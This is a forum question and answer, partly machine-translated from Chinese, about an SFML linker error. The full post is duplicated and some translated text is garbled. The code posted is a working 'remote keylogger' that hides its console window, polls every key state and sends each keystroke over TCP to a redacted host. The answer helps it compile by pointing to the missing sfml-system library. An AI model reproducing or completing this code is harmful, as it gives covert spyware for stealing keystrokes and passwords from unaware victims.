SFML 未解析的外部符号 sf::Time
Unresolved external symbol sf::Time with SFML
所以我正在为教育目的开发一个远程键盘记录器。出于某种原因,当我尝试编译客户端时,出现此错误(我正在使用 SFML):
Error LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)
奇怪的是服务器编译正常并且使用相同的库。我已经无数次检查我的 linker 设置,甚至尝试创建一个新项目,但都没有成功。
代码如下:
#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);
if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;
return;
}
int main()
{
FreeConsole();
sf::TcpSocket socket;
ConnectToHost(&socket);
while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}
我目前正在 linking sfml-network-d.lib 调试和 sfml-network.lib 发布,但是我也尝试过 linking所有 sfml 动态 link 库也是如此,所以这与它没有任何关系。无论如何,我假设这只是我想多了或忽略的一个粗心的错误,但由于我已经研究了几天,所以我认为我会 post 它作为一个问题。
您的错误表明您的代码没有任何问题,这是 linking 的问题。您正在 linksfml-network.lib, but you'll need to link to sfml-system.lib 以获得 sf::Time。
sfml-network.lib 只给你:Ftp、Http、IpAddress、Packet、Socket、SocketSelector、TcpListener、TcpSocket、UdpSocket。
SFML 网络依赖于 SFML 系统,如 here 所述。每当使用 SFML 网络时,您都需要明确 link 到 SFML 系统。
另一个快速说明是您提到 linking 到动态 link 库。您不应该 link 任何 DLL,您 link 编辑的 .lib 实际上允许您导入这些 DLL。如果你想做相反的事情(静态 link),那么你需要 link 到 *-s.lib 变体。
所以我正在为教育目的开发一个远程键盘记录器。出于某种原因,当我尝试编译客户端时,出现此错误(我正在使用 SFML):
Error LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)
奇怪的是服务器编译正常并且使用相同的库。我已经无数次检查我的 linker 设置,甚至尝试创建一个新项目,但都没有成功。
代码如下:
#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);
if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;
return;
}
int main()
{
FreeConsole();
sf::TcpSocket socket;
ConnectToHost(&socket);
while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}
我目前正在 linking sfml-network-d.lib 调试和 sfml-network.lib 发布,但是我也尝试过 linking所有 sfml 动态 link 库也是如此,所以这与它没有任何关系。无论如何,我假设这只是我想多了或忽略的一个粗心的错误,但由于我已经研究了几天,所以我认为我会 post 它作为一个问题。
您的错误表明您的代码没有任何问题,这是 linking 的问题。您正在 linksfml-network.lib, but you'll need to link to sfml-system.lib 以获得 sf::Time。
sfml-network.lib 只给你:Ftp、Http、IpAddress、Packet、Socket、SocketSelector、TcpListener、TcpSocket、UdpSocket。
SFML 网络依赖于 SFML 系统,如 here 所述。每当使用 SFML 网络时,您都需要明确 link 到 SFML 系统。
另一个快速说明是您提到 linking 到动态 link 库。您不应该 link 任何 DLL,您 link 编辑的 .lib 实际上允许您导入这些 DLL。如果你想做相反的事情(静态 link),那么你需要 link 到 *-s.lib 变体。